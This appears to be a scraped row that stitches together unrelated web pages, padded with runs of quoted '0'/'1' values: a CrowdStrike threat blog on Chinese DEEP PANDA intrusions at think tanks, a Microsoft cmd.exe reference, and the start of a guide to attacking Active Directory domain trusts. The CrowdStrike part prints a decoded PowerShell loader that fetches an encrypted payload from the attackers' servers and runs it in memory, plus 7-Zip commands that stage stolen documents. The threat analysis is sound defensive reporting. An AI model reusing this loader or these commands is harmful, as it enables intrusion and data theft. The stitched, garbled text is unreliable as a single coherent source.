Multiple Foreign Ministries and Think Tanks Get the latest threat intelligence news in your email. Copyright 2019 ANOMALI. All Rights Reserved. Privacy Policy Terms of Use 3rd Party Vendor Policy Threat Platform Community APP Store ISACs Research Company Blog News & Events Support Privacy Policy Terms of Use 3rd Party Vendor Policy","0","1","0","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0" -"BLOG Deep in Thought: Chinese Targeting of National Security Think Tanks July 7, 2014Dmitri AlperovitchExecutive Viewpoint Blue For some time now, CrowdStrike has been working with a number of national security think tanks and human rights organizations on a pro bono basis to help them with their security posture. These organizations face some of the most advanced nation-state adversaries \xe2\x80\x94 China, Russia, and Iran, just to name a few. The individuals who are typically targeted at these institutions tend to be former senior government officials who still have lots of contacts within Western governments and, as such, their private correspondence is of extreme interest to these attackers. The intelligence services of these nation states are always on the lookout for any clues they may extract from such private communications that may give them an advanced insight into what options government policy makers are considering on particular issues of interest. At the same time, with access to the victim email mailboxes, the adversaries can craft very realistic spear-phishing lures to the government contacts of targeted think tank personnel by piggybacking on ongoing real conversations and increasing their chances of a successful compromise of an official government email account. Despite this high threat level, these think tanks are organized as non-profits and often do not have the budgets of commercial organizations to afford cutting-edge security technologies that can help them effectively detect these threats. For this reason, CrowdStrike has provided our Falcon Host endpoint security technology to many of these organizations at no charge to them to help detect and attribute these attackers on their networks in real time, as well as to receive instantaneous full forensic visibility into their behavior to help with full remediation of any incident. Recently, Falcon Host has detected multiple simultaneous compromises at several national security think tanks from an actor we call DEEP PANDA, one of the most advanced Chinese nation-state cyber intrusion groups. For almost three years now, CrowdStrike has monitored DEEP PANDA targeting critical and strategic business verticals including: government, defense, financial, legal, and the telecommunications industries. At the think tanks, Falcon Host detected targeting of senior individuals involved in geopolitical policy issues, in particular in the China/Asia Pacific region. However, last week the unprecedented real-time visibility provided by Falcon Host into this actor\xe2\x80\x99s escapades allowed analysts to observe a radical change in targeting. This actor, who was engaged in targeting and collection of Southeast Asia policy information, suddenly began targeting individuals with a tie to Iraq/Middle East issues. This is undoubtedly related to the recent Islamic State of Iraq and the Levant (ISIS) takeover of major parts of Iraq and the potential disruption for major Chinese oil interests in that country. In fact, Iraq happens to be the fifth-largest source of crude oil imports for China and the country is the largest foreign investor in Iraq\xe2\x80\x99s oil sector. Thus, it wouldn\xe2\x80\x99t be surprising if the Chinese government is highly interested in getting a better sense of the possibility of deeper U.S. military involvement that could help protect the Chinese oil infrastructure in Iraq. In fact, the shift in targeting of Iraq policy individuals occurred on June 18, the day that ISIS began its attack on the Baiji oil refinery. The Attacks CrowdStrike\xe2\x80\x99s Falcon Host technology used by these think tanks consists of a tiny (under 5mb in size) kernel sensor that is deployed on Windows and Mac servers, desktops, and laptops and is able to do real-time detection and recording of all adversary activities taking place on the system. In addition, by matching the detected activities against our vast Adversary Intelligence repository, Falcon Host can automatically attribute the attack to a known adversary group and provide details about their motivations, capabilities, and key Tactics, Techniques, and Procedures (TTPs). Recently, we detected breaches of these networks via the use of powershell scripts deployed by the adversary as scheduled tasks on Windows machines. The scripts are passed to the powershell interpreter through the command line to avoid placement of extraneous files on the victim machine that could potentially trigger AV- or Indicator of Compromise (IOC)-based detection. The scripts were scheduled to call back every two hours to the DEEP PANDA Command and Control (C2) infrastructure. Screen Shot 2014-06-27 at 11.40.50 AM.png The script in the command line is base64 encoded, but when decoded it translates to the following code snippet: [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} $wc = New-Object -TypeName System.Net.WebClient $wc.Headers.Add(\xe2\x80\x9cAccept-Language\xe2\x80\x9d, \xe2\x80\x9cen-US,en;q=0.\xe2\x80\x9d + ([IntPtr]::Size \xe2\x80\x93 1).ToString()) $wc.Headers.Add(\xe2\x80\x9cUser-Agent\xe2\x80\x9d, \xe2\x80\x9cMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\xe2\x80\x9d) $rndn = Get-Random $wc.Headers.Add(\xe2\x80\x9cCookie\xe2\x80\x9d, \xe2\x80\x9cp=\xe2\x80\x9d + $rndn) $data = $wc.DownloadData(\xe2\x80\x9chttps:///config/oauth/\xe2\x80\x9d) [string[]]$xags = \xe2\x80\x9chttps:///config/login/\xe2\x80\x9d, \xe2\x80\x9cWMITool.Program\xe2\x80\x9d, \xe2\x80\x9cMain\xe2\x80\x9d, \xe2\x80\x9c/f\xe2\x80\x9d, \xe2\x80\x9cssh\xe2\x80\x9d, \xe2\x80\x9c/s\xe2\x80\x9d, \xe2\x80\x9c\xe2\x80\x9d, \xe2\x80\x9c/p\xe2\x80\x9d, \xe2\x80\x9c443\xe2\x80\x9d $Passphrase = \xe2\x80\x9c\xe2\x80\x9d $salts = \xe2\x80\x9c\xe2\x80\x9d $r = new-Object System.Security.Cryptography.RijndaelManaged $pass = [System.Text.Encoding]::UTF8.GetBytes($Passphrase) $salt = [System.Text.Encoding]::UTF8.GetBytes($salts) $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, \xe2\x80\x9cSHA1\xe2\x80\x9d, 5).GetBytes(32) #256/8 $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($rndn) )[0..15] $d = $r.CreateDecryptor() $ms = new-Object IO.MemoryStream @(,$data) $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,\xe2\x80\x9dRead\xe2\x80\x9d $dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress) $msout = New-Object System.IO.MemoryStream [byte[]]$buffer = new-object byte[] 4096 [int]$count = 0 do { $count = $dfs.Read($buffer, 0, $buffer.Length) $msout.Write($buffer, 0, $count) } while ($count -gt 0) $dfs.Close() $cs.Close() $ms.Close() $r.Clear() [byte[]]$bin = $msout.ToArray() $al = New-Object -TypeName System.Collections.ArrayList $al.Add($xags) $asm = [System.Reflection.Assembly]::Load($bin) $asm.EntryPoint.Invoke($null, $al.ToArray()) sleep 5 Exit Once executed, it downloads and executes from memory a .NET executable (typically named Wafer), which in turn typically downloads and runs MadHatter .NET Remote Access Tool (RAT), one of the favorites of DEEP PANDA. By running them from memory, it leaves no disk artifacts or host-based IOCs that can be identified in forensic analysis. This is typical for DEEP PANDA \xe2\x80\x94 stealth is their specialty and they prefer to operate in a way that leaves a minimal footprint on a victim system and often allows them to evade detection for a very long time. deeppanda_thinktankblog.png For this same reason, DEEP PANDA likes to use webshells to keep low-footprint persistent access to the victim network, as we\xe2\x80\x99ve covered in our prior blogs. This case was no exception, and that initial webshell implant allowed them to execute reconnaissance commands such as \xe2\x80\x9ctasklist,\xe2\x80\x9d \xe2\x80\x9cnet view,\xe2\x80\x9d and \xe2\x80\x9cnet localgroup administrators,\xe2\x80\x9d and then afterward to deploy the powershell scripts. The adversary used stolen credentials to mount network shares via \xe2\x80\x9cnet use\xe2\x80\x9d command. In one case, they brought in Cult of the Dead Cow\xe2\x80\x99s NetE tool onto the system, but most of the time they leveraged existing Windows tools and avoided bringing many new tools into the environment that could make them noisy and easily detectable by technologies that scan for static IOCs. After using compromised credentials to mount file shares, the adversary was seen compressing data using 7-zip. They were adding different document types to compressed files by wildcarding the extensions, such as: \xe2\x80\x9cC:Program Files7-Zip7z\xe2\x80\x9d a setup1.log -r -pkkk*** \xe2\x80\x9c\\users*rtf *doc\xe2\x80\x9d \xe2\x80\x9cC:Program Files7-Zip7z\xe2\x80\x9d a setup1.log -r -pkkk*** \xe2\x80\x9c\\users*ppt\xe2\x80\x9d They knew exactly which users to target based on their research policy area, and they rapidly pivoted from China/Asia Pacific policy experts to Iraq/Middle East policy experts once their tasking collection requirements changed. Screen Shot 2014-06-27 at 11.15.47 AM.png Aggressive Use of Ping to Determine Which Machines of Interest are Online On one of the compromised machines, the adversary brought in a command-line version of RAR archiver that was named \xe2\x80\x9ccftmon.exe\xe2\x80\x9d and placed it into \xe2\x80\x9cc:windowstemphotfix\xe2\x80\x9d directory. The files were encrypted (both file data and headers) with \xe2\x80\x9cuinfw\xe2\x80\x9d password and the archive files were named after the initials of each user that had been targeted and stored in the same \xe2\x80\x9cc:windowstemphotfix\xe2\x80\x9d directory. For lateral movement, they used WMI to deploy the powershell scripts remotely and setup scheduled tasks on the remote systems. Screen Shot 2014-06-27 at 10.58.35 AM.png Despite the fact that we were seeing nearly identical TTPs used across multiple think-tank targets, there is evidence to indicate that these operations had different individuals behind the keyboard based on the intricacies of how certain powershell command lines had been used in each case. Summary DEEP PANDA presents a very serious threat not just to think tanks, but also multinational financial institutions, law firms, defense contractors, and government agencies. Due to their stellar operational security and reliance on anti-forensic and anti-IOC detection techniques, detecting and stopping them is very challenging without the use of next-generation endpoint technology like Falcon Host. Not only was Falcon Host able to detect this adversary without relying on static signatures or IOCs, but it was able to provide instantaneous and full forensic analysis of what had occurred on each of the compromised endpoints without the need to pull hard drives and do costly and time-intensive forensics, substantially reducing the time needed for remediation. If you are a non-profit think tank or a human rights organization that would like to take advantage of our no-charge offer of Falcon Host licenses for your servers and desktops, please email us at sales@crowdstrike.com with the subject \xe2\x80\x9cNon-Profit Falcon Host Offer.\xe2\x80\x9d Our Falcon Intelligence subscribers have had access to multiple reports on the DEEP PANDA actor that includes full analysis of their attribution, tradecraft and TTPs, as well as detection indicators and signatures and remediation instructions. And our CrowdStrike Services has worked on multiple intrusion investigations related to DEEP PANDA in the last year. If you would also like to see a demo of Falcon Host or Falcon Intelligence in action or discuss our Services offerings, please contact our Sales Team to schedule a personal briefing. Stay safe and keep a watchful eye on the Pandas, Bears, Kittens, and other threat actors who are relentlessly preying on your data! Tweet Share CrowdStrike Falcon Free Trial Dmitri Alperovitch Co-founder and CTO of Crowdstrike, Dmitri Alperovitch leads the Intelligence, Technology and CrowdStrike Labs teams. Alperovitch has invented 18 patented technologies and has conducted extensive research on reputation systems, spam detection, web security, public-key and identity-based cryptography, malware and intrusion detection/prevention. He is a renowned computer security researcher and thought leader on cybersecurity policies and state tradecraft. Alperovitch\xe2\x80\x99s many honors include being selected as MIT Technology Review\xe2\x80\x99s \xe2\x80\x9cYoung Innovators under 35\xe2\x80\x9d (TR35) in 2013. He also was named Foreign Policy Magazine\xe2\x80\x99s Leading Global Thinker for 2013 and received a Federal 100 Award for his information security contributions. Related Content CrowdStrike Faloon Fund Banner New Falcon Fund Helps Startups Develop Innovative Apps for the Falcon Platform This year\xe2\x80\x99s launch of The CrowdStrike\xc2\xae Store, a marketplace for third-party apps that expand the capabilities\xe2\x80\xa6 CrowdScore Introducing CrowdScore: A New Approach to Eliminate Alert Fatigue and Provide CxO-Level Real-Time Threat Metrics [VIDEO] This week, in conjunction with Black Hat USA 2019, CrowdStrike\xc2\xae is proud to announce a powerful\xe2\x80\xa6 Crowdstrike Celebrates IPO CrowdStrike Becomes a Publicly Traded Company I\xe2\x80\x99m proud to announce that as of today, CrowdStrike\xc2\xae is a publicly traded company on The\xe2\x80\xa6 CATEGORIES ENDPOINT PROTECTION(181) EXECUTIVE VIEWPOINT(95) FROM THE FRONT LINES(86) RESEARCH & THREAT INTEL(138) TECH CENTER(56) CONNECT WITH US CrowdStrike Falcon Free Trial FEATURED ARTICLES How to gain visibility into Mobile Devices September 17, 2019 Ransomware Increases the Back-to-School Blues September 17, 2019 How to use Falcon Insight to get Additional USB Device Visibility September 16, 2019 Using Docker to Do Machine Learning at Scale September 13, 2019 SUBSCRIBE Sign up now to receive the latest notifications and updates from CrowdStrike. SIGN UP See CrowdStrike Falcon in Action Detect, prevent, and respond to attacks\xe2\x80\x94 even malware-free intrusions\xe2\x80\x94at any stage, with next-generation endpoint protection. SEE DEMO *NEW* Community Tool: CrowdStrike Heartbleed ScannerCrowdStrike Launches The Adversary Manifesto Copyright \xc2\xa9 2019 CrowdStrike Privacy Request Info Blog Join Our Team Sitemap Contact Us 1.888.512.8906 English","0","1","0","0","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1" -"Cmd | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Cmd 09/11/2009 6 minutes to read In this article Starts a new instance of the command interpreter, Cmd.exe. Used without parameters, cmd displays Windows XP version and copyright information. Syntax cmd [[{/c|/k}] [/s] [/q] [/d] [{/a|/u}] [/t:fg] [/e:{on|off}] [/f:{on|off}] [/v:{on|off}] string] Parameters /c : Carries out the command specified by string and then stops. /k : Carries out the command specified by string and continues. /s : Modifies the treatment of string after /c or /k. /q : Turns the echo off. /d : Disables execution of AutoRun commands. /a : Creates American National Standards Institute (ANSI) output. /u : Creates Unicode output. /t: fg : Sets the foreground f and background g colors. The following tables lists valid hexadecimal digits that you can use as the values for f and g. Value Color 0 Black 1 Blue 2 Green 3 Aqua 4 Red 5 Purple 6 Yellow 7 White 8 Gray 9 Light blue A Light green B Light aqua C Light red D Light purple E Light yellow F Bright white /e:on : Enables command extensions. /e:off : Disables commands extensions. /f:on : Enables file and directory name completion. /f:off : Disables file and directory name completion. /v:on : Enables delayed environment variable expansion. /v:off : Disables delayed environment variable expansion. string : Specifies the command you want to carry out. /? : Displays help at the command prompt. Remarks Using multiple commands You can use multiple commands separated by the command separator && for string, but you must enclose them in quotation marks (for example, ""command&&command&&command""). Processing quotation marks If you specify /c or /k, cmd processes the remainder of string and quotation marks are preserved only if all of the following conditions are met: You do not use /s. You use exactly one set of quotation marks. You do not use any special characters within the quotation marks (for example: &<>( ) @ ^ |). You use one or more white-space characters within the quotation marks. The string within quotation marks is the name of an executable file. If the previous conditions are not met, string is processed by examining the first character to verify whether or not it is an opening quotation mark. If the first character is an opening quotation mark, it is stripped along with the closing quotation mark. Any text following the closing quotation marks is preserved. Executing registry subkeys If you do not specify /d in string, Cmd.exe looks for the following registry subkeys: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Command Processor\\AutoRun\\REG_SZ HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\\AutoRun REG_EXPAND_SZ If either one or both registry subkeys are present, they are executed before all other variables. ** Caution** Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you should back up any valued data on the computer. Enabling and disabling command extensions Command extensions are enabled by default in Windows XP. You can disable them for a particular process by using /e:off. You can enable or disable extensions for all cmd command-line options on a computer or user session by setting the following REG_DWORD values: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Command Processor\\EnableExtensions\\REG_DWORD HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\\EnableExtensions\\REG_DWORD Set the REG_DWORD value to either 0\xc3\x971 (that is, enabled) or 0\xc3\x970 (that is, disabled) in the registry by using Regedit.exe. User-specified settings take precedence over computer settings, and command-line options take precedence over registry settings. ** Caution** Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you should back up any valued data on the computer. When you enable command extensions, the following commands are affected: assoc call chdir (cd) color del (erase) endlocal for ftype goto if mkdir (md) popd prompt pushd set setlocal shift start (also includes changes to external command processes) For more information about these commands, see Related Topics. Enabling delayed environment variable expansion If you enable delayed environment variable expansion, you can use the exclamation character to substitute the value of an environment variable at run time. Enabling file and directory name completion File and directory name completion is not enabled by default. You can enable or disable file name completion for a particular process of the cmd command with /f:{on|off}. You can enable or disable file and directory name completion for all processes of the cmd command on a computer or user logon session by setting the following REG_DWORD values: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Command Processor\\CompletionChar\\REG_DWORD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Command Processor\\PathCompletionChar\\REG_DWORD HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\\CompletionChar\\REG_DWORD HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor\\PathCompletionChar\\REG_DWORD To set the REG_DWORD value, run Regedit.exe and use the hexadecimal value of a control character for a particular function (for example, 0\xc3\x979 is TAB and 0\xc3\x9708 is BACKSPACE). User-specified settings take precedence over computer settings, and command-line options take precedence over registry settings. ** Caution** Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you should back up any valued data on the computer. If you enable file and directory name completion by using /f:on, use CTRL+D for directory name completion and CTRL+F for file name completion. To disable a particular completion character in the registry, use the value for white space [0\xc3\x9720] because it is not a valid control character. When you press CTRL+D or CTRL+F, cmd processes file and directory name completion. These key combination functions append a wildcard character to string (that is, if one is not present), build a list of paths that match, and then display the first matching path. If none of the paths match, the file and directory name completion function beeps and does not change the display. To move through the list of matching paths, press CTRL+D or CTRL+F repeatedly. To move through the list backwards, press the SHIFT key and CTRL+D or CTRL+F simultaneously. To discard the saved list of matching paths and generate a new list, edit string and press CTRL+D or CTRL+F. If you switch between CTRL+D and CTRL+F, the saved list of matching paths is discarded and a new list is generated. The only difference between the key combinations CTRL+D and CTRL+F is that CTRL+D only matches directory names and CTRL+F matches both file and directory names. If you use file and directory name completion on any of the built-in directory commands (that is, CD, MD, or RD), directory completion is assumed. File and directory name completion correctly processes file names that contain white space or special characters if you place quotation marks around the matching path. The following special characters require quotation marks: & < > [ ] { } ^ = ; ! ' + , ` ~ [white space] If the information that you supply contains spaces, use quotation marks around the text (for example, ""Computer Name""). If you process file and directory name completion from within string, any part of the [Path] to the right of the cursor is discarded (that is, at the point in string where the completion was processed). Formatting legend Format Meaning Italic Information that the user must supply Bold Elements that the user must type exactly as shown Ellipsis (...) Parameter that can be repeated several times in a command line Between brackets ([]) Optional items Between braces ({}); choices separated by pipe (|). Example: {even|odd} Set of choices from which the user must choose only one Courier font Code or program output Assoc Call Chdir Color Del (erase) Endlocal For Ftype Goto If Mkdir Popd Prompt Pushd Set Setlocal Shift Start Command-line reference A-Z Command shell overview Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"A Guide to Attacking Domain Trusts \xe2\x80\x93 harmj0y Press ""Enter"" to skip to content harmj0y security at the misfortune of others open menu About Presentations Projects twitter github slack email Sidebar Recent Posts A Case Study in Wagging the Dog: Computer Takeover Kerberoasting Revisited Not A Security Boundary: Breaking Forest Trusts Another Word on Delegation Rubeus \xe2\x80\x93 Now With More Kekeo Archives Archives Select Month February 2019 \xc2 (2) November 2018 \xc2 (1) October 2018 \xc2 (2) September 2018 \xc2 (1) August 2018 \xc2 (1) July 2018 \xc2 (2) April 2018 \xc2 (1) November 2017 \xc2 (1) October 2017 \xc2 (1) September 2017 \xc2 (2) August 2017 \xc2 (1) July 2017 \xc2 (2) June 2017 \xc2 (1) May 2017 \xc2 (1) March 2017 \xc2 (1) January 2017 \xc2 (4) December 2016 \xc2 (1) November 2016 \xc2 (1) October 2016 \xc2 (2) September 2016 \xc2 (1) August 2016 \xc2 (1) July 2016 \xc2 (2) June 2016 \xc2 (3) May 2016 \xc2 (2) April 2016 \xc2 (2) March 2016 \xc2 (4) February 2016 \xc2 (2) January 2016 \xc2 (1) December 2015 \xc2 (4) November 2015 \xc2 (1) October 2015 \xc2 (3) September 2015 \xc2 (2) August 2015 \xc2 (3) July 2015 \xc2 (1) June 2015 \xc2 (1) May 2015 \xc2 (1) April 2015 \xc2 (1) March 2015 \xc2 (1) January 2015 \xc2 (1) December 2014 \xc2 (1) November 2014 \xc2 (2) October 2014 \xc2 (2) September 2014 \xc2 (2) August 2014 \xc2 (1) July 2014 \xc2 (2) June 2014 \xc2 (2) May 2014 \xc2 (2) April 2014 \xc2 (2) March 2014 \xc2 (1) Search Categories ActiveDirectory defense Empire EmPyre informational penetesting Powershell Python redteaming Uncategorized Blogroll bluescreenofjeff.com enigma0x3.net invoke-ir.com wald0.com Twitter My Tweets A Guide to Attacking Domain Trusts Published October 30, 2017 by harmj0y It\xe2\x80\x99s been a while (nearly 2 years) since I wrote a post purely on Active Directory domain trusts. After diving into group scoping, I realized a few subtle misconceptions I previously had concerning trusts and group memberships. That, combined with the changes made to PowerView last year, convinced me to publish an up-to-date guide on enumerating and attacking domain trusts. This will likely be the last post focusing on domain trusts I publish for a while, and at over 8000 words, it\xe2\x80\x99s not exactly a light read (not that anyone reads long posts\xc2 ;)\xc2 In general, I don\xe2\x80\x99t just blog my operational notes\xe2\x80\x94I try to write posts that function as complete guides for members of my team, with the hope that the information may be of use to others (whether from an offensive or defensive perspective.) I want this to be as complete as possible, so I\xe2\x80\x99ll cover every aspect of trusts as we currently understand them. Just as with my previous posts, I want to encapsulate my knowledge of the topic as best I can\xc2 at this point in time. Emphasis on \xe2\x80\x9cthis point in time.\xe2\x80\x9d Our knowledge and tradecraft are always evolving, and trusts are no different. I had a number of fuzzy misconceptions regarding domain trusts when I started writing about them. I was never a sysadmin or AD architect\xe2\x80\x94I\xe2\x80\x99ve learned my knowledge piecemeal, which (hopefully) explains the gaps that have surfaced in my past posts, and the ones that I\xe2\x80\x99m sure will continue to arise. So I am going to start fresh, in case you are not familiar with the previous posts I pushed out about trusts. As such, a few parts of this post will recycle certain elements and wording from previous work, integrated with updated knowledge and PowerView syntax. And as this is a bit of a tome of an article, I\xe2\x80\x99m sure there as mistakes somewhere and things that I\xe2\x80\x99ve missed, so when you find them let me know and I\xe2\x80\x99ll update appropriately! PowerView\xe2\x80\x99s most up-to-date version will always be on the dev branch of PowerSploit. WTF Are Domain Trusts? At a high level, a domain trust establishes the ability for users in one domain to authenticate to resources or act as a security principal in another domain. Microsoft has a lot of information out there about domain trusts, as well as \xe2\x80\x9cSecurity Considerations for Trusts\xe2\x80\x9c, and it can sometimes get a bit confusing. As Microsoft describes, \xe2\x80\x9cMost organizations that have more than one domain have a legitimate need for users to access shared resources located in a different domain\xe2\x80\x9c, and trusts allow organizations with multiple domains to grant users in separate domains access to shared resources. Domain forests are collections of domain containers that trust each other. Forests themselves may also have trusts between them. Microsoft has excellent post about how domain and forest trusts work. If you\xe2\x80\x99re not familiar with this topic, I recommend that you check it out. Essentially, all a trust does is link up the authentication systems of two domains and allows authentication traffic to flow between them through a system of referrals. If a user requests access to a service principal name (SPN) of a resource that resides outside of the domain they\xe2\x80\x99re current in, their domain controller will return a special referral ticket that points to the key distribution center (KDC, in the Windows case the domain controller) of the foreign domain. The user\xe2\x80\x99s ticket-granting-ticket (TGT) is included in this TGS-REP (ticket-granting service reply) referral ticket, and this ticket encrypted/signed with the inter-realm trust key that the domains previously exchanged, instead of the first domain\xe2\x80\x99s krbtgt account. This ticket is usually referred to as an \xe2\x80\x9cinter-realm ticket-granting-ticket/TGT.\xe2\x80\x9d The foreign domain then verifies/decrypts the TGT included in the referral by decrypting it with the previously negotiated inter-realm trust key, and goes about the rest of the normal Kerberos process. Sean Metcalf has a great breakdown of this process in his \xe2\x80\x9cIt\xe2\x80\x99s All About Trust\xe2\x80\x9d post, and he describes the process as, \xe2\x80\x9cOnce there is a trust between two domains \xe2\x80\xa6 the ticket-granting service of each domain (\xe2\x80\x9crealm\xe2\x80\x9d in Kerberos speak) is registered as a security principal with the other domain\xe2\x80\x99s Kerberos service (KDC). This enables the ticket-granting service in each domain to treat the one in the other domain as just another service providing cross-domain service access for resources in the other domain.\xe2\x80\x9d So basically, when the foreign domain decrypts the referral ticket with the negotiated trust key, it sees the user\xe2\x80\x99s TGT and says \xe2\x80\x9cOK, the other domain already authenticated this user and said this is who they say they are/these are the groups the user is in, so I\xe2\x80\x99ll trust this information as accurate because I trust the domain that issued the referral.\xe2\x80\x9c Here\xe2\x80\x99s a picture to visualize the Kerberos process across trust boundaries: The purpose of establishing a trust is to allow users from one domain to access resources (like the local Administrators group on a server), to be nested in groups, or to otherwise be used as security principals in another domain (e.g. for AD object ACLs). One exception to this is intra-forest trusts (domain trusts that exist within the same Active Directory forest)- any domain created within a forest retains an implicit two-way, transitive trust relationship with every other domain in the forest. This has numerous implications which will be covered later in this post. But before that, we have to cover a few more characteristics of trusts. There are several types of trusts, some of which have various offensive implications, covered in a bit: Parent/Child \xe2\x80\x93 part of the same forest \xe2\x80\x93 a child domain retains an implicit two-way transitive trust with its parent. This is probably the most common type of trust that you\xe2\x80\x99ll encounter. Cross-link \xe2\x80\x93 aka a \xe2\x80\x9cshortcut trust\xe2\x80\x9d between child domains to improve referral times. Normally referrals in a complex forest have to filter up to the forest root and then back down to the target domain, so for a geographically spread out scenario, cross-links can make sense to cut down on authentication times. External \xe2\x80\x93 an implicitly non-transitive trust created between disparate domains. \xe2\x80\x9cExternal trusts provide access to resources in a domain outside of the forest that is not already joined by a forest trust.\xe2\x80\x9d External trusts enforce SID filtering, a security protection covered later in this post. Tree-root \xe2\x80\x93 an implicit two-way transitive trust between the forest root domain and the new tree root you\xe2\x80\x99re adding. I haven\xe2\x80\x99t encountered tree-root trusts too often, but from the Microsoft documentation, they\xe2\x80\x99re created when you when you create a new domain tree in a forest. These are intra-forest trusts, and they preserve two-way transitivity while allowing the tree to have a separate domain name (instead of child.parent.com). Forest \xe2\x80\x93 a transitive trust between one forest root domain and another forest root domain. Forest trusts also enforce SID filtering. MIT \xe2\x80\x93 a trust with a non-Windows RFC4120-compliant Kerberos domain. I hope to dive more into MIT trusts in the future. Transitivity, huh? Another aspect of domain trusts is that they are transitive or non-transitive. To quote the MSDN documentation on transitivity: \xe2\x80\x9cA transitive trust extends trust relationships to other domains; a nontransitive trust does not extend trust relationships to other domains.\xe2\x80\x9d This means that transitive trusts can be chained, so users can potentially access resources in multiple domains. Meaning, if domain A trusts B, and B trusts C, then A implicitly trusts C. Under the hood, if a specific trust relationship is transitive, then the trusting\xc2 domain can repack a user\xe2\x80\x99s TGT into additional referral tickets and forward them onto domains that domain trusts. Also, trusts can be one-way or two-way. A bidirectional (two-way) trust is actually just two one-way trusts. A one-way trust means users and computers in a trusted domain can potentially access resources in another trusting domain. A one-way trust is in one direction only, hence the name. Users and computers in the trusting domain can not access resources in the trusted domain. Microsoft has a nice diagram to visualize this: https://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx This was something that messed with my head when I started\xe2\x80\x94from an offensive perspective, what we care about is the direction of access, not the direction of the trust. With a one-way trust where A -trusts-> B, if the trust is enumerated from A, the trust is marked as outbound, while if the same trust is enumerated from B the trust is marked as inbound, while the potential access is from B to A. This will make more sense in the Foreign Relationship Enumeration\xc2 section. Why Care? But really, why care? Domain trusts often introduce unintended access paths between environments. In many organizations, trusts were implemented years (sometimes 10+) ago without major considerations given to security. Some corporate entities that are focused on acquisitions often just \xe2\x80\x9cplug in\xe2\x80\x9d a new company\xe2\x80\x99s Active Directory network either as a child domain or external trust, without fully considering the security implications. Because historically there have not been many toolsets that allow you to easily map, enumerate, and visualize the risk associated with misconfigured trusts, many domain architects are unaware of the unintentional risk exposed by their Active Directory trust architectures. This links back to the idea of \xe2\x80\x9cmisconfiguration debt\xe2\x80\x9d that\xc2 @wald0,\xc2 @cptjesus, and I spoke about at Derbycon this year. Because of this, various red teams (and probably APTz, I\xe2\x80\x99m assuming) have been abusing Active Directory trusts for years with great success. A common scenario is compromising a development or subsidiary domain and leveraging that access to pivot into the secure root/enclave. This also introduces opportunities for persistence- why leave code running in a secured environment, when you can have implants running in the less-secured (but trusted) domain that can then be used to re-compromise your target at will? An intra-forest trust (parent/child or tree-root) introduces an awesome attack vector that\xe2\x80\x99s described in The Trustpocalypse later in this post. External/inter-forest trusts do not guarantee any kind of privileged access, but at a minimum, a trust means that you can query any normal Active Directory information from a domain that trusts you (yes, 